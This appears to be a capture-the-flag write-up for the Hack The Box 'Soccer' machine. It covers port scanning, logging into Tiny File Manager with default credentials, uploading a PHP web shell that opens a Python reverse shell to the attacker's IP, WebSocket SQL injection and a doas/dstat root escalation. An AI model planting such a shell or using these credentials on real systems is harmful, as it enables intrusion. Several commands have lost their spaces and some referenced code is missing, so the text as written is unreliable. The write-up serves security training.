The port scanning reveals that ports 22, 80, and 9091 are opened on the target.
$sudonmap-Pn-n-sS-p--T4--min-rate1000-v<IP>
Hostname
We see the virtual host name in the HTTP response and we add it to our hosts file /etc/hosts.
$curl-ihttp://<IP>HTTP/1.1301MovedPermanentlyServer:nginx/1.18.0 (Ubuntu)Date:Mon,12Jun202309:45:49GMTContent-Type:text/htmlContent-Length:178Connection:keep-aliveLocation:http://soccer.htb/<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body>
No more hostnames can be found further via the command ffuf:
The URL path /tiny/ leads us to the login page of a Tiny File Manager service.
We found the default credentials for the service in GitHub.
admin/admin@123
user/12345
We can then use this default credential to log into the service to manage the file uploading.
Initial Access
Reverse Shell
By inspecting the permissions, we see that we can upload files to the directory /tiny/uploads.
We then try to upload a PHP webshell with the following content to receive a revershell back by visiting the uploaded page in /tiny/uploads/bad.php.
<?phpif (isset($_GET['bad'])) system("python3 -c \"import socket,os,pty;s=socket.socket();s.connect(('<OUR_IP>',4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn('/bin/bash')\"");
?>
Another vHost
As we see in the HTTP response earlier, the site is built on Nginx. So the thing next to do when we got a reverse shell is to inspect the related configurations in /etc/nginx/.
We found another site soc-player.soccer.htb is enabled on the host.
To test if any SQL injection vulnerability can be exploited via the WebSocket message automatically, we simply set up an Express app that will pass the received parameters to the target ws://soc-player.soccer.htb:9091 through WebSocket:
By reviewing the related configuration /usr/local/etc/doas.conf, we see that the user player can run the Python script /usr/bin/dstat, a versatile tool for generating system resource statistics.
player@soccer:~$doas/usr/bin/dstat--rootme/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
importimproot@soccer:/home/player#iduid=0(root) gid=0(root) groups=0(root)
Miscellaneous
Game Match Web App
The site soc-player.soccer.htb is built with express with ejs template engine in the path /root/app.
Ticket Server
The ticket check server is built by the Node.js packages express and ws in the script /root/app/server.js and we can see it clearly that the cause of the SQL injection :